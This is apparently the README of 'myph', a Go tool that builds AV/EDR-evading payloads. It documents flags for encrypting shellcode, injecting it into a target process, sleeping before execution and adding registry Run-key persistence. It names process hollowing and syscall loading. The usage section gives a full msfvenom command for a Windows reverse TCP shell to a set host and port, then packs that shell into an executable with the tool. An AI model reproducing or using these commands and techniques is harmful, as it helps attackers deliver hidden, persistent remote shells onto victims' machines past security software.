AV/EDR bypass payload creation tool
The access to and the use of the information on this repository is free of charge, but implies the tacit acceptance by the user of the following conditions, without prejudice to the applicable legal provisions. The user acknowledges that this repository is intended for informational purposes only and therefore serves only for general information and testing. The tool and this repository are carefully compiled on the basis of good sources and references.
However, the developers cannot be held liable for for any damage, direct or indirect, of whatever nature as a result of or related to the access to or use of the software.
Please note this project is under development & subject to changes. Breaking changes can be introduced from release to release.
You can easily compile like so:
# if you have make installed
make # you can also use `make help` to check recipes
# if you don't
go build -o myph .
You can also grab the latest release from here
Finally, you can install from the golang package repository like so:
# /!\ lowercase is important /!\
go install github.com/cmepw/myph@latest
Usage:
myph [flags]
Flags:
-e, --encryption encKind encryption method. (allowed: AES, chacha20, XOR, blowfish) (default AES)
-h, --help help for myph
-k, --key string encryption key, auto-generated if empty. (if used by --encryption)
-f, --out string output name (default "payload.exe")
-z, --peristence string name of the binary being placed in '%APPDATA%' and in 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' reg key (default: "")
-p, --process string target process to inject shellcode to (default "cmd.exe")
-s, --shellcode string shellcode path (default "msf.raw")
--sleep-time uint sleep time in seconds before executing loader (default: 0)
-t, --technique string shellcode-loading technique (allowed: CRT, ProcessHollowing, CreateThread, Syscall) (default "CRT")
-v, --version version for myph
This tool supports few methods for now, but aims to add more as time goes on:
- CreateThread
- CreateRemoteThread
- Syscall
- Process hollowing
If you don't know what that is about, go check out this repository :)~
Generate a payload like so:
# generate your payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.2.2 LPORT=1234 -f raw -o msf.raw
# run myph (--shellcode is not mandatory here because we use the default value)
./myph --shellcode msf.raw --out something.exe
# you should find your payload here
file ./something.exe
# using makefile
make docker
# going through dockerfile directly
docker build . -t myph:latest
Contributions are welcome, but please try to keep PRs short and issues descriptive. :)~
A guide on how to use the tool is in the works, please let us know if you're interested in helping out.